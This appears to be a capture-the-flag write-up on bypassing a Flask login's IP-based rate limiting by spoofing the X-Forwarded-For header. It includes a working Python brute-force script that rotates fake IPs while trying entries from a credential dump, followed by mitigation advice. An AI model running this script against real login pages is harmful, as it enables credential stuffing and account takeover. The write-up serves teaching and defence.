Vulnerability Overview
A Flask application implemented IP-based rate limiting using request.remote_addr, but behind a proxy configuration that trusted the X-Forwarded-For header from the client. With a lockout threshold of 10 failed attempts per 30-second window, rotating the spoofed IP every 9 requests maintained continuous brute force access.
Source Code Analysis
The rate limiter identified clients by IP:
def exceeded_rate_limit() -> bool:
client_ip = request.remote_addr
...In a proxy-fronted Flask deployment, request.remote_addr can be set to the value of X-Forwarded-For from the client — making it attacker-controlled.
Exploitation
import requests, random
def fake_ip():
return f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
url = "http://[target]/login"
ip = fake_ip()
with open("creds-dump.txt") as f:
for i, line in enumerate(f):
username, password = line.strip().split(";")
if i % 9 == 0:
ip = fake_ip()
r = requests.post(url, headers={"X-Forwarded-For": ip},
data={"username": username, "password": password})
if "picoCTF" in r.text:
print(f"Found: {username}:{password}")
breakValid credentials (emely:tyrant) were found at line 8 of the 1500-entry dump.
| Control | Implementation |
|---|---|
| Account-based lockout | Lock by username — attackers can spoof IPs but cannot change the target account |
| Trusted proxy configuration | In Flask, use ProxyFix middleware with x_for=1 and only trust headers from known proxy IPs |
| Credential breach checks | Reject passwords found in known breach databases at the point of login |
Key Insight: IP-based controls are inherently weaker than identity-based controls because IPs can be spoofed or rotated. Flask's
request.remote_addr is only trustworthy when it reflects the actual connection IP from a validated upstream proxy — never from a client-controlled header.